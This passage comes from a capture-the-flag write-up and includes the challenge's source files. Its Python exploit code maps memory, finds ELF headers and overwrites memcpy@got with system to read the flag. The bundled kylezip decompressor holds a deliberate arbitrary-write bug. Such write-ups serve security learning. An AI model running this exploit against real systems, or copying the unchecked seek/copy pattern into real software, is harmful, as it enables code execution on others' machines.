0x7fe3d6ac0000 | No 0x7fe3d6ab0000 | No 0x7fe3d6aa0000 | No 0x7fe3d6a90000 | No 0x7fe3d6a80000 | No 0x7fe3d6a70000 | No 0x7fe3d6a60000 | No 0x7fe3d6a50000 | Yes 0x7fe3d6a5f000 | No 0x7fe3d6a5e000 | No 0x7fe3d6a5d000 | No 0x7fe3d6a5c000 | No 0x7fe3d6a5b000 | No 0x7fe3d6a5a000 | Yes `lastMappedPage = 0x7fe3d6a5a000` We are bruteforcing half byte at a time, for a worst case scenario of 16*5 = 80 queries. ```py def linearFindLargest(base, increment, idstart): for i in range(0, 16)[::-1]: print (f"{base + increment*i:#x}", end='\t|\t') if isAddrMapped(base + increment*i, idstart+i): print ('Yes') return i*increment print ('No') raise Exception("linearFindLargest should not fail") # Find upper bound, we can't do a binary search because there are some holes which # screw things up lastMappedPage = leakAddr lastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, 40000) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, 40100) lastMappedPage += linearFindLargest(lastMappedPage, 0x100000, 40200) lastMappedPage += linearFindLargest(lastMappedPage, 0x10000, 40300) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000, 40400) print (f"{lastMappedPage = :#x}") ``` ## 4.6 The exploit Finally, we know everything we need about the memory mappings, now it is just a matter of leveraging a write what where primitive into code execution. To achieve code execution I overwrote libkyle.so's memcpy@got entry with system@libc. ### Get libkyle base Luckily for us libc base and libkyle.so base are at a constant offset from the lastMappedPage, I didn't know that was the case so I wrote a egghunter which search for `\x7fELF` \(Header of ELF executables\), which in the end wasn't useful. ```py # Scan backwards looking for b'\x7fELF' i = 0 numElf = 0 while numElf != 2: theAddr = lastMappedPage-0x1000*i hdr = readFromAddr(theAddr, 4, 40500+i) print(f"{i:02d}) Elf in {theAddr:#x}? {hdr.hex()}") if hdr == b'\x7fELF': numElf += 1 print (f"found elf at {theAddr:#x}") if i > 70: print ("Exploit failed, upper bound address was wrong") exit(1) i += 1 ``` ### Overwrite libkyle's memcpy@got and get RCE Fortunately overwriting memcpy@got with system was good enough to get the flag and claim that juicy bounty :) ```py # exp is a CompressedFile which: # - writes libc.system to memcpy_got # - calls memcpy(cmd, 0, 0) -> system(cmd) cmd = b"ls;cat flag.txt;\x00" exp = CompressedFile(24) exp.seek((memcpy_got - OUT_ADDR)&M64) # out=memcpy_got for b in p64(libc.symbols['system']): exp.write(bytes([b])) # out=memcpy_got+8 # memcpy(out, out-off, size) # system(out) in_addr_off = len(exp.content) exp.content += cmd exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64) exp.memcpy(0, 0) # system(cmd) uploadFile(exp.content, 123001) # profit getFile(123001) ``` ## 4.7 The flag! You can find the exploit [here](resources/x.py).


There is also an 100% reliable version of the exploit [here](resources/reliable_exploit.py). ## 5. Conclusion Hope you enjoyed the writeup, if something was not clear enough don't hesitate to contact me [@nick0ve](https://twitter.com/nick0ve) :) ================================================ FILE: resources/analyze_mappings.py ================================================ def read_proc_maps(fname): with open(fname, 'r') as f: lines = f.read().splitlines() rv = [] for line in lines: r1, r2 = line.split(' ')[0].split('-') rv.append((int(r1,0x10), int(r2,0x10))) return rv def can_merge(r1, r2): return r1[1] == r2[0] def merge(r1, r2): return (r1[0], r2[1]) def print_merged(mappings): print (f"RANGE\t\t\t\t\tSIZE") i = 0 while i < len(mappings) - 1: r1, r2 = mappings[i:i+2] if can_merge(r1, r2): mappings = mappings[:i] + [merge(r1, r2)] + mappings[i+2:] else: i += 1 old_r = None for r in mappings: if old_r is not None: if r[0] - old_r[1] < 0x10000000: print (f"SMALL GAP\t\t\t\t{r[0] - old_r[1]:#010x}") else: print (f"HUGE GAP") print(f"{r[0]:#018x} - {r[1]:#018x}\t{r[1] - r[0]:#010x}") old_r = r mappings = read_proc_maps('./mappings') print_merged(mappings) ================================================ FILE: resources/dist-guess-god/.dockerignore ================================================ # Prerequisites *.d # Compiled Object files *.slo *.lo *.o *.obj # Precompiled Headers *.gch *.pch # Compiled Dynamic libraries *.so *.dylib *.dll # Fortran module files *.mod *.smod # Compiled Static libraries *.lai *.la *.a *.lib # Executables *.exe *.out *.app # custom build build/ main/build/ # idea .idea/ cmake-build-debug/ */cmake-build-debug/ #Mac **/.DS_Store src/CMakeFiles/ src/CMakeCache.txt ================================================ FILE: resources/dist-guess-god/Dockerfile ================================================ FROM ubuntu:21.04@sha256:e082dd99faca91acb1f43347bf8b50ac9b9d2fdcc72253e29fe65b6b1eb1445d ENV DEBIAN_FRONTEND=noninteractive # Install nsjail RUN apt-get -y update && apt-get install -y \ autoconf \ bison \ flex \ gcc \ g++ \ git \ libprotobuf-dev \ libnl-route-3-dev \ libtool \ make \ pkg-config \ protobuf-compiler \ uidmap \ cmake \ iptables \ net-tools \ iproute2 \ python3-venv \ && rm -rf /var/lib/apt/lists/* RUN git clone https://github.com/google/nsjail.git RUN cd /nsjail && make && mv /nsjail/nsjail /bin && rm -rf -- /nsjail RUN apt-get update && \ apt-get install -y \ gcc uidmap netcat cmake && \ rm -rf /var/lib/apt/lists/* && \ useradd -m ctf && \ mkdir -p /home/ctf/challenge/ RUN mkdir /chroot/ && \ chown root:ctf /chroot && \ chmod 770 /chroot # Install oatpp RUN git clone https://github.com/oatpp/oatpp.git RUN cd /oatpp && git checkout 1.2.5 && mkdir build && cd build && cmake .. && make install COPY ./ /home/ctf/challenge/src/ WORKDIR /home/ctf/challenge/src/ RUN mkdir -p src/build && cd src/build && cmake .. && make RUN cp src/build/flag_server-exe src/build/libkylezip.so flag.txt /home/ctf/challenge/ WORKDIR /home/ctf/challenge/ RUN mv src/jail.cfg src/server.py src/pow.py src/setup.sh src/nsjail.sh / && \ rm -rf src/ && \ chown -R root:ctf . && \ chmod 550 flag_server-exe && \ chown root:ctf / /home /home/ctf/ && \ chmod 440 flag.txt # venv for POW RUN python3 -m venv /venv RUN bash -c "source /venv/bin/activate && pip3 install ecdsa requests proxy-protocol" EXPOSE 9000 CMD ["/setup.sh"] ================================================ FILE: resources/dist-guess-god/docker-compose.yml ================================================ version: "3" services: guess_god: build: . ports: - 9000:9000 - 7002-7003:7002-7003 privileged: true environment: - "DEBUG=1" ================================================ FILE: resources/dist-guess-god/flag.txt ================================================ buckeye{this_is_a_fake_flag} ================================================ FILE: resources/dist-guess-god/jail.cfg ================================================ name: "jail" mode: ONCE port: 1337 cwd: "/challenge" time_limit: 300 cgroup_cpu_ms_per_sec: 100 cgroup_pids_max: 64 rlimit_fsize: 2048 rlimit_nofile: 2048 cgroup_mem_max: 1073741824 mount { src: "/chroot" dst: "/" is_bind: true } mount { src: "/home/ctf/challenge" dst: "/challenge" is_bind: true } mount { src: "/usr" dst: "/usr" is_bind: true rw: false } mount { src: "/bin" dst: "/bin" is_bind: true rw: false } mount { src: "/sbin" dst: "/sbin" is_bind: true rw: false } mount { src: "/lib" dst: "/lib" is_bind: true rw: false } mount { src: "/lib64" dst: "/lib64" is_bind: true rw: false } mount { dst: "/challenge/files" fstype: "tmpfs" options: "size=2147483648" rw: true } mount { src: "/etc/passwd" dst: "/etc/passwd" is_bind: true rw: false } mount { src: "/etc/group" dst: "/etc/group" is_bind: true rw: false } mount { src: "/dev/null" dst: "/dev/null" is_bind: true rw: true } mount_proc: false mount { dst: "/proc" fstype: "proc" rw: false } macvlan_iface: "veth1" macvlan_vs_nm: "255.255.255.0" macvlan_vs_gw: "10.0.4.1" envar: "LD_LIBRARY_PATH=/challenge/" exec_bin { path: "/challenge/flag_server-exe" } ================================================ FILE: resources/dist-guess-god/nsjail.sh ================================================ #!/bin/bash echo "[*] Starting..." mkdir /sys/fs/cgroup/{cpu,memory,pids}/NSJAIL chown ctf /sys/fs/cgroup/{cpu,memory,pids}/NSJAIL iptables -S FORWARD | grep $1 | grep NEW | cut -d " " -f 2- | xargs -rL1 iptables -D iptables -A FORWARD -i eth0 -s $2 -o veth0 -p tcp -d $1 --dport 8000 -m state --state NEW -j ACCEPT exec nsjail --config /jail.cfg --macvlan_vs_ip $1 ================================================ FILE: resources/dist-guess-god/pow.py ================================================ #!/usr/bin/env python3 # This is from kCTF (modified to remove backdoor) # https://github.com/google/kctf/blob/69bf578e1275c9223606ab6f0eb1e69c51d0c688/docker-images/challenge/pow.py # -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import base64 import os import secrets import socket import sys import hashlib try: import gmpy2 HAVE_GMP = True except ImportError: HAVE_GMP = False sys.stderr.write("[NOTICE] Running 10x slower, gotta go fast? pip3 install gmpy2\n") VERSION = 's' MODULUS = 2**1279-1 CHALSIZE = 2**128 SOLVER_URL = 'https://goo.gle/kctf-pow' def python_sloth_root(x, diff, p): exponent = (p + 1) // 4 for i in range(diff): x = pow(x, exponent, p) ^ 1 return x def python_sloth_square(y, diff, p): for i in range(diff): y = pow(y ^ 1, 2, p) return y def gmpy_sloth_root(x, diff, p): exponent = (p + 1) // 4 for i in range(diff): x = gmpy2.powmod(x, exponent, p).bit_flip(0) return int(x) def gmpy_sloth_square(y, diff, p): y = gmpy2.mpz(y) for i in range(diff): y = gmpy2.powmod(y.bit_flip(0), 2, p) return int(y) def sloth_root(x, diff, p): if HAVE_GMP: return gmpy_sloth_root(x, diff, p) else: return python_sloth_root(x, diff, p) def sloth_square(x, diff, p): if HAVE_GMP: return gmpy_sloth_square(x, diff, p) else: return python_sloth_square(x, diff, p) def encode_number(num): size = (num.bit_length() // 24) * 3 + 3 return str(base64.b64encode(num.to_bytes(size, 'big')), 'utf-8') def decode_number(enc): return int.from_bytes(base64.b64decode(bytes(enc, 'utf-8')), 'big') def decode_challenge(enc): dec = enc.split('.') if dec[0] != VERSION: raise Exception('Unknown challenge version') return list(map(decode_number, dec[1:])) def encode_challenge(arr): return '.'.join([VERSION] + list(map(encode_number, arr))) def get_challenge(diff): x = secrets.randbelow(CHALSIZE) return encode_challenge([diff, x]) def solve_challenge(chal): [diff, x] = decode_challenge(chal) y = sloth_root(x, diff, MODULUS) return encode_challenge([y]) def verify_challenge(chal, sol): [diff, x] = decode_challenge(chal) [y] = decode_challenge(sol) res = sloth_square(y, diff, MODULUS) return (x == res) or (MODULUS - x == res) def usage(): sys.stdout.write('Usage:\n') sys.stdout.write('Solve pow: {} solve $challenge\n') sys.stdout.write('Check pow: {} ask $difficulty\n') sys.stdout.write(' $difficulty examples (for 1.6GHz CPU) in fast mode:\n') sys.stdout.write(' 1337: 1 sec\n') sys.stdout.write(' 31337: 30 secs\n') sys.stdout.write(' 313373: 5 mins\n') sys.stdout.flush() sys.exit(1) def main(): if len(sys.argv) != 3: usage() sys.exit(1) cmd = sys.argv[1] if cmd == 'ask': difficulty = int(sys.argv[2]) if difficulty == 0: sys.stdout.write("== proof-of-work: disabled ==\n") sys.exit(0) challenge = get_challenge(difficulty) sys.stdout.write("== proof-of-work: enabled ==\n") sys.stdout.write("please solve a pow first\n") sys.stdout.write("You can run the solver with:\n") sys.stdout.write(" python3 <(curl -sSL {}) solve {}\n".format(SOLVER_URL, challenge)) sys.stdout.write("===================\n") sys.stdout.write("\n") sys.stdout.write("Solution? ") sys.stdout.flush() solution = '' with os.fdopen(0, "rb", 0) as f: while not solution: line = f.readline().decode("utf-8") if not line: sys.stdout.write("EOF") sys.stdout.flush() sys.exit(1) solution = line.strip() if verify_challenge(challenge, solution): sys.stdout.write("Correct\n") sys.stdout.flush() sys.exit(0) else: sys.stdout.write("Proof-of-work fail") sys.stdout.flush() elif cmd == 'solve': challenge = sys.argv[2] solution = solve_challenge(challenge) if verify_challenge(challenge, solution, False): sys.stderr.write("Solution: \n".format(solution)) sys.stderr.flush() sys.stdout.write(solution) sys.stdout.flush() sys.stderr.write("\n") sys.stderr.flush() sys.exit(0) else: usage() sys.exit(1) if __name__ == "__main__": main() ================================================ FILE: resources/dist-guess-god/server.py ================================================ import hashlib import random import string import socket from socketserver import ThreadingTCPServer, StreamRequestHandler from multiprocessing import TimeoutError from multiprocessing.pool import ThreadPool import threading import subprocess import os import base64 from pathlib import Path import shutil import requests from proxyprotocol.v2 import ProxyProtocolV2 from proxyprotocol.reader import ProxyProtocolReader from proxyprotocol import ProxyProtocolWantRead from pow import get_challenge, verify_challenge, SOLVER_URL PORT_BASE = int(os.getenv("CHALL_PORT_BASE", "7000")) IP_BASE = "10.0.4." POW_DIFFICULTY = int(os.getenv("POW_DIFFICULTY", "0")) NUM_SERVERS = int(os.getenv("CHALL_NUM_SERVERS", "5")) DEBUG = int(os.getenv("DEBUG", "0")) == 1 MY_IP = None class MyTCPServer(ThreadingTCPServer): def server_bind(self): self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1) self.socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 10) self.socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 3) self.socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 5) self.socket.bind(self.server_address) pool = None class MyTCPHandler(StreamRequestHandler): def handle(self): try: if not DEBUG: self.pp_result = read_proxy2(self) if not self.pp_result or not send_pow(self): return else: if not send_pow(self): return res = pool.apply_async(worker, (self,)) pos = pool._inqueue.qsize() # type: ignore self.wfile.write(f"[*] Queued in position {pos}\n".encode()) res.get(timeout=180) except (ConnectionError, TimeoutError) as e: print("connection err: %s" % (e)) pass def read_proxy2(req: MyTCPHandler): pp_reader = ProxyProtocolReader(ProxyProtocolV2()) pp_data = bytearray() while True: try: return pp_reader._parse(pp_data) except ProxyProtocolWantRead as want_read: try: if want_read.want_bytes is not None: pp_data += req.rfile.read(want_read.want_bytes) elif want_read.want_line: pp_data += req.rfile.readline() else: print("ProxyProtocolWantRead of unknown length") return None except (EOFError, ConnectionResetError) as exc: print("EOF waiting for proxy data") return None def send_pow(req: MyTCPHandler): if POW_DIFFICULTY == 0: req.wfile.write(b"== proof-of-work: disabled ==\n") req.wfile.flush() return True challenge = get_challenge(POW_DIFFICULTY) req.wfile.write(b"== proof-of-work: enabled ==\n") req.wfile.write(b"please solve a pow first\n") req.wfile.write(b"You can run the solver with:\n") req.wfile.write(" python3 <(curl -sSL {}) solve {}\n".format(SOLVER_URL, challenge).encode()) req.wfile.write(b"===================\n") req.wfile.write(b"\n") req.wfile.write(b"Solution? ") req.wfile.flush() solution = '' while not solution: solution = req.rfile.readline().decode("utf-8").strip() if verify_challenge(challenge, solution): req.wfile.write(b"Correct\n") req.wfile.flush() return True else: req.wfile.write(b"Proof-of-work fail") req.wfile.flush() return False thread_to_port = {} thread_port_lock = threading.Lock() def get_port(ident): global thread_to_port thread_port_lock.acquire() if ident in thread_to_port: port = thread_to_port[ident] else: port = len(thread_to_port) + PORT_BASE + 2 # leave .0 and .1 unused thread_to_port[ident] = port thread_port_lock.release() return port def is_socket_closed(sock) -> bool: try: # this will try to read bytes without blocking and also without removing them from buffer (peek only) data = sock.recv(16, socket.MSG_DONTWAIT | socket.MSG_PEEK) if len(data) == 0: return True return False except BlockingIOError: return False # socket is open and reading from it would block except ConnectionResetError: return True # socket was closed for some other reason except Exception as e: logger.exception("unexpected exception when checking if a socket is closed") return False return False def worker(req: MyTCPHandler): ip = req.client_address[0] src_port = req.client_address[1] if not DEBUG: real_ip = req.pp_result.source[0].exploded else: real_ip = ip print(f"Worker {threading.get_ident()} handling real ip {real_ip}") req.wfile.write(b"[+] Handling your job now\n") id = os.urandom(16).hex() path = Path("/tmp") / id if not path.exists(): path.mkdir() port = get_port(threading.get_ident()) req.wfile.write(f"\n[*] ip = {MY_IP}\n".encode()) req.wfile.write(f"[*] port = {port}\n\n".encode()) timeout = 60 * 5 req.wfile.write(f"[*] This instance will stay up for {timeout} seconds\n".encode()) req.wfile.flush() proc = subprocess.Popen(["/nsjail.sh", IP_BASE+str(port - PORT_BASE), real_ip], stdout=req.wfile) for x in range(timeout // 5): try: proc.wait(5) break except subprocess.TimeoutExpired: if is_socket_closed(req.request): break proc.terminate() try: proc.wait(1) except subprocess.TimeoutExpired: proc.kill() req.wfile.write(b"[*] Done. Goodbye!\n") req.wfile.flush() if __name__ == "__main__": port = 9000 MY_IP = requests.get("https://api.ipify.org?format=json").json()['ip'] with MyTCPServer(("0.0.0.0", port), MyTCPHandler) as server: try: pool = ThreadPool(processes=NUM_SERVERS) print(f"[*] Listening on port {port}") server.serve_forever() finally: pool.close() ================================================ FILE: resources/dist-guess-god/setup.sh ================================================ #!/bin/bash ip link add veth0 type veth peer veth1 ip addr add 10.0.4.1/24 dev veth0 ip link set up veth0 ip link set up veth1 echo 1 > /proc/sys/net/ipv4/ip_forward NUM_SERVERS="${CHALL_NUM_SERVERS:-5}" PORT_BASE="${CHALL_PORT_BASE:-7000}" for i in $(seq 1 $NUM_SERVERS); do NUM=$((i + 1)) PORT=$((NUM + PORT_BASE)) iptables -A FORWARD -i eth0 -o veth0 -p tcp -d 10.0.4.$NUM --dport 8000 -m state --state ESTABLISHED,RELATED -j ACCEPT iptables -A PREROUTING -t nat -p tcp -i eth0 --dport $PORT -j DNAT --to-destination 10.0.4.$NUM:8000 iptables -A POSTROUTING -t nat -o eth0 -j MASQUERADE done source /venv/bin/activate python3 /server.py ================================================ FILE: resources/dist-guess-god/src/.gitignore ================================================ # Prerequisites *.d # Compiled Object files *.slo *.lo *.o *.obj # Precompiled Headers *.gch *.pch # Compiled Dynamic libraries *.so *.dylib *.dll # Fortran module files *.mod *.smod # Compiled Static libraries *.lai *.la *.a *.lib # Executables *.exe *.out *.app # custom build build/ main/build/ # idea .idea/ cmake-build-debug/ */cmake-build-debug/ #Mac **/.DS_Store CMakeFiles/ CMakeCache.txt ================================================ FILE: resources/dist-guess-god/src/CMakeLists.txt ================================================ cmake_minimum_required(VERSION 3.1) set(project_name flag_server) ## rename your project here project(${project_name}) set(CMAKE_CXX_STANDARD 11) add_library(${project_name}-lib src/AppComponent.hpp src/controller/MyController.cpp src/controller/MyController.hpp src/dto/DTOs.hpp ) # Decompression library add_library(kylezip SHARED kylezip/decompress.c ) set_target_properties(kylezip PROPERTIES LANGUAGE C) ## link libs find_package(oatpp 1.2.5 REQUIRED) target_link_libraries(${project_name}-lib PUBLIC oatpp::oatpp PUBLIC oatpp::oatpp-test kylezip ) target_include_directories(${project_name}-lib PUBLIC src kylezip) ## add executables add_executable(${project_name}-exe src/App.cpp test/app/MyApiTestClient.hpp) target_link_libraries(${project_name}-exe ${project_name}-lib kylezip) add_dependencies(${project_name}-exe ${project_name}-lib kylezip) set_target_properties(${project_name}-lib ${project_name}-exe PROPERTIES CXX_STANDARD 11 CXX_EXTENSIONS OFF CXX_STANDARD_REQUIRED ON ) ## add test executable add_executable(kylezip-test kylezip/test/kyle.c ) target_link_libraries(kylezip-test kylezip) ================================================ FILE: resources/dist-guess-god/src/kylezip/README ================================================ kylezip is a horrible compression algorithm ================================================ FILE: resources/dist-guess-god/src/kylezip/decompress.c ================================================ #include #include #include #include #include #include #include #include static int verify_file(char *in); static uint64_t get_fsize(char *in); static void do_decompress(char *out, char *in, size_t insize); /* I got tired of C++ so I wrote this in C */ int decompress(const char *fname) { char resultName[100]; strcpy(resultName, fname); strcat(resultName, ".unkyle"); int infd = open(fname, O_RDONLY); int outfd = open(resultName, O_RDWR|O_CREAT, 0644); struct stat insb; if (infd == -1 || outfd == -1) { fprintf(stderr, "Failed to open infile or outfile\n"); return -1; } if (fstat(infd, &insb) != 0) { fprintf(stderr, "Failed to stat infile\n"); return -1; } /* kyle wanted this mapped at his favorite address */ void *from_mem = mmap((void*)0x42069000000, insb.st_size, PROT_READ, MAP_SHARED|MAP_FIXED, infd, 0); if (from_mem == MAP_FAILED || !verify_file(from_mem)) { fprintf(stderr, "mmap failed or didn't verify %p\n", from_mem); return -1; } size_t outsize = get_fsize(from_mem); ftruncate(outfd, outsize); void *to_mem = mmap((void*)0x13371337000, outsize, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, outfd, 0); if (to_mem == MAP_FAILED) { fprintf(stderr, "mmap failed 2\n"); return -1; } do_decompress(to_mem, from_mem, insb.st_size); return 0; } static int verify_file(char *in) { if (*(uint64_t*)in == 0x0123456789abcdef) return 1; return 0; } static uint64_t get_fsize(char *in) { return (*(uint64_t*)(in + 8)); } static void do_decompress(char *out, char *in, size_t insize) { uint64_t cur = 16; while (cur < insize) { uint8_t cmd = in[cur]; cur += 1; switch (cmd) { case 0: // NOP break; case 1: { // Write byte uint8_t b = in[cur++]; *(out++) = b; break; } case 2: { // Seek uint64_t off = *(uint64_t*)(&in[cur]); cur += sizeof(off); out += off; break; } case 3: { // Copy some previously written bytes uint64_t off = *(uint64_t*)(&in[cur]); cur += sizeof(off); uint64_t count = *(uint64_t*)(&in[cur]); cur += sizeof(off); memcpy(out, out-off, count); out += count; break; } default: break; } } } ================================================ FILE: resources/dist-guess-god/src/kylezip/decompress.h ================================================ extern "C" int decompress(const char *fname); ================================================ FILE: resources/dist-guess-god/src/kylezip/test/kyle.c ================================================ #include int decompress(const char *fname); int main(int argc, char** argv) { if (argc != 2) return -1; printf("Decompressing %s\n", argv[1]); decompress(argv[1]); return -1; } ================================================ FILE: resources/dist-guess-god/src/src/App.cpp ================================================ #include "./controller/MyController.hpp" #include "./AppComponent.hpp" #include "oatpp/network/Server.hpp" #include void run() { /* Register Components in scope of run() method */ AppComponent components; /* Get router component */ OATPP_COMPONENT(std::shared_ptr, router); /* Create MyController and add all of its endpoints to router */ auto myController = std::make_shared(); myController->addEndpointsToRouter(router); /* Get connection handler component */ OATPP_COMPONENT(std::shared_ptr, connectionHandler); /* Get connection provider component */ OATPP_COMPONENT(std::shared_ptr, connectionProvider); /* Create server which takes provided TCP connections and passes them to HTTP connection handler */ oatpp::network::Server server(connectionProvider, connectionHandler); /* Print info about server port */ OATPP_LOGI("MyApp", "Server running on port %s", connectionProvider->getProperty("port").getData()); /* Run server */ server.run(); } /** * main */ int main(int argc, const char * argv[]) { oatpp::base::Environment::init(); run(); /* Print how much objects were created during app running, and what have left-probably leaked */ /* Disable object counting for release builds using '-D OATPP_DISABLE_ENV_OBJECT_COUNTERS' flag for better performance */ std::cout << "\nEnvironment:\n"; std::cout << "objectsCount = " << oatpp::base::Environment::getObjectsCount() << "\n"; std::cout << "objectsCreated = " << oatpp::base::Environment::getObjectsCreated() << "\n\n"; oatpp::base::Environment::destroy(); return 0; } ================================================ FILE: resources/dist-guess-god/src/src/AppComponent.hpp ================================================ #ifndef AppComponent_hpp #define AppComponent_hpp #include "oatpp/web/server/HttpConnectionHandler.hpp" #include "oatpp/network/tcp/server/ConnectionProvider.hpp" #include "oatpp/parser/json/mapping/ObjectMapper.hpp" #include "oatpp/core/macro/component.hpp" /** * Class which creates and holds Application components and registers components in oatpp::base::Environment * Order of components initialization is from top to bottom */ class AppComponent { public: /** * Create ConnectionProvider component which listens on the port */ OATPP_CREATE_COMPONENT(std::shared_ptr, serverConnectionProvider)([] { return oatpp::network::tcp::server::ConnectionProvider::createShared({"0.0.0.0", 8000, oatpp::network::Address::IP_4}); }()); /** * Create Router component */ OATPP_CREATE_COMPONENT(std::shared_ptr, httpRouter)([] { return oatpp::web::server::HttpRouter::createShared(); }()); /** * Create ConnectionHandler component which uses Router component to route requests */ OATPP_CREATE_COMPONENT(std::shared_ptr, serverConnectionHandler)([] { OATPP_COMPONENT(std::shared_ptr, router); // get Router component return oatpp::web::server::HttpConnectionHandler::createShared(router); }()); /** * Create ObjectMapper component to serialize/deserialize DTOs in Contoller's API */ OATPP_CREATE_COMPONENT(std::shared_ptr, apiObjectMapper)([] { return oatpp::parser::json::mapping::ObjectMapper::createShared(); }()); }; #endif /* AppComponent_hpp */ ================================================ FILE: resources/dist-guess-god/src/src/controller/MyController.cpp ================================================ #include "MyController.hpp" #include #include #include #include #include #include "decompress.h" #include #include std::shared_ptr MyController::get_file(int file_id, bool extract) { auto pair = std::make_pair(file_id, extract); lock.lock(); if (fileCache.find(pair) != fileCache.end()) { lock.unlock(); return fileCache[pair]; } auto filename = fileMap[file_id].c_str(); lock.unlock(); std::ostringstream comp_fname; comp_fname << filename; if (extract) { // Want the un-kylezip-d version comp_fname << ".unkyle"; } auto to_open = comp_fname.str(); int fd = open(to_open.c_str(), O_RDONLY); if (fd == -1) { if (!extract) return NULL; /* Need to create decompressed version of file * Kyle gave me a buggy library so we are going to fork * in case we crash the web server will still stay up. */ pid_t p = fork(); if (p == 0) { decompress(filename); exit(0); } else { waitpid(p, NULL, 0); } fd = open(to_open.c_str(), O_RDONLY); if (fd == -1) { return NULL; } } struct stat sb; if (fstat(fd, &sb) != 0) { return NULL; } /* mmap the file in for performance, or something... idk kyle made me write this */ void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0); if (mem == NULL) return NULL; auto strbuf = oatpp::base::StrBuffer::createShared(mem, sb.st_size, false); lock.lock(); fileCache[pair] = strbuf; lock.unlock(); return strbuf; } ================================================ FILE: resources/dist-guess-god/src/src/controller/MyController.hpp ================================================ #ifndef MyController_hpp #define MyController_hpp #include "dto/DTOs.hpp" #include #include #include "oatpp/web/server/api/ApiController.hpp" #include "oatpp/core/macro/codegen.hpp" #include "oatpp/core/macro/component.hpp" #include "oatpp/core/data/stream/FileStream.hpp" #include "oatpp/web/mime/multipart/InMemoryPartReader.hpp" #include "oatpp/web/mime/multipart/Reader.hpp" #include "oatpp/web/mime/multipart/PartList.hpp" namespace multipart = oatpp::web::mime::multipart; #include OATPP_CODEGEN_BEGIN(ApiController) //<-- Begin Codegen /** * Sample Api Controller. */ class MyController : public oatpp::web::server::api::ApiController { public: /** * Constructor with object mapper. * @param objectMapper - default object mapper used to serialize/deserialize DTOs. */ MyController(OATPP_COMPONENT(std::shared_ptr, objectMapper)) : oatpp::web::server::api::ApiController(objectMapper) { OATPP_LOGD("MyController", "Constructor"); } public: ENDPOINT("GET", "/", root) { auto dto = MyDto::createShared(); dto->statusCode = 200; dto->message = "Hello World!"; return createDtoResponse(Status::CODE_200, dto); } ENDPOINT("GET", "/files/{fileId}", getFileById, PATH(Int32, fileId), QUERY(Boolean, extract, "extract", "false")) { OATPP_LOGD("GetFile", "fileId=%d", *fileId); /* Check if file exists */ lock.lock(); auto exists = fileMap.find(fileId) != fileMap.end(); lock.unlock(); if (exists) { /* File exists */ auto f = get_file(fileId, extract); if (f == NULL) { auto dto = MyDto::createShared(); dto->statusCode = 500; dto->message = "Internal server error"; return createDtoResponse(Status::CODE_500, dto); } return createResponse(Status::CODE_200, f); } else { auto dto = MyDto::createShared(); dto->statusCode = 404; dto->message = "File not found"; return createDtoResponse(Status::CODE_404, dto); } return createResponse(Status::CODE_200, "OK"); } /* File uploads */ ENDPOINT("POST", "/upload/{fileId}", upload, PATH(Int32, fileId), REQUEST(std::shared_ptr, request)) { lock.lock(); auto exists = fileMap.find(fileId) != fileMap.end(); lock.unlock(); OATPP_LOGD("UploadFile", "fileId=%d", *fileId); if (exists) { auto dto = MyDto::createShared(); dto->statusCode = 400; dto->message = "File already exists"; return createDtoResponse(Status::CODE_400, dto); } std::ostringstream filename; filename << "files/" << fileId; auto filename_str = filename.str(); /* Prepare multipart container. */ auto multipart = std::make_shared(request->getHeaders()); multipart::Reader multipartReader(multipart.get()); multipartReader.setPartReader("file", multipart::createInMemoryPartReader(128 * 1024 /* 128K max upload */)); request->transferBody(&multipartReader); auto filePart = multipart->getNamedPart("file"); /* Assert part is not null */ OATPP_ASSERT_HTTP(filePart, Status::CODE_400, "Missing file upload"); filePart->getInMemoryData()->saveToFile(filename_str.c_str()); lock.lock(); fileMap[fileId] = filename_str; lock.unlock(); return createResponse(Status::CODE_200, "OK"); } private: std::map,std::shared_ptr> fileCache; std::map fileMap; std::mutex lock; /* helper functions */ std::shared_ptr get_file(int file_id, bool compress); }; #include OATPP_CODEGEN_END(ApiController) //<-- End Codegen #endif /* MyController_hpp */ ================================================ FILE: resources/dist-guess-god/src/src/dto/DTOs.hpp ================================================ #ifndef DTOs_hpp #define DTOs_hpp #include "oatpp/core/macro/codegen.hpp" #include "oatpp/core/Types.hpp" #include OATPP_CODEGEN_BEGIN(DTO) /** * Data Transfer Object. Object containing fields only. * Used in API for serialization/deserialization and validation */ class MyDto : public oatpp::DTO { DTO_INIT(MyDto, DTO) DTO_FIELD(Int32, statusCode); DTO_FIELD(String, message); }; #include OATPP_CODEGEN_END(DTO) #endif /* DTOs_hpp */ ================================================ FILE: resources/dist-guess-god/src/test/MyControllerTest.cpp ================================================ #include "MyControllerTest.hpp" #include "controller/MyController.hpp" #include "app/MyApiTestClient.hpp" #include "app/TestComponent.hpp" #include "oatpp/web/client/HttpRequestExecutor.hpp" #include "oatpp-test/web/ClientServerTestRunner.hpp" void MyControllerTest::onRun() { /* Register test components */ TestComponent component; /* Create client-server test runner */ oatpp::test::web::ClientServerTestRunner runner; /* Add MyController endpoints to the router of the test server */ runner.addController(std::make_shared()); /* Run test */ runner.run([this, &runner] { /* Get client connection provider for Api Client */ OATPP_COMPONENT(std::shared_ptr, clientConnectionProvider); /* Get object mapper component */ OATPP_COMPONENT(std::shared_ptr, objectMapper); /* Create http request executor for Api Client */ auto requestExecutor = oatpp::web::client::HttpRequestExecutor::createShared(clientConnectionProvider); /* Create Test API client */ auto client = MyApiTestClient::createShared(requestExecutor, objectMapper); /* Call server API */ /* 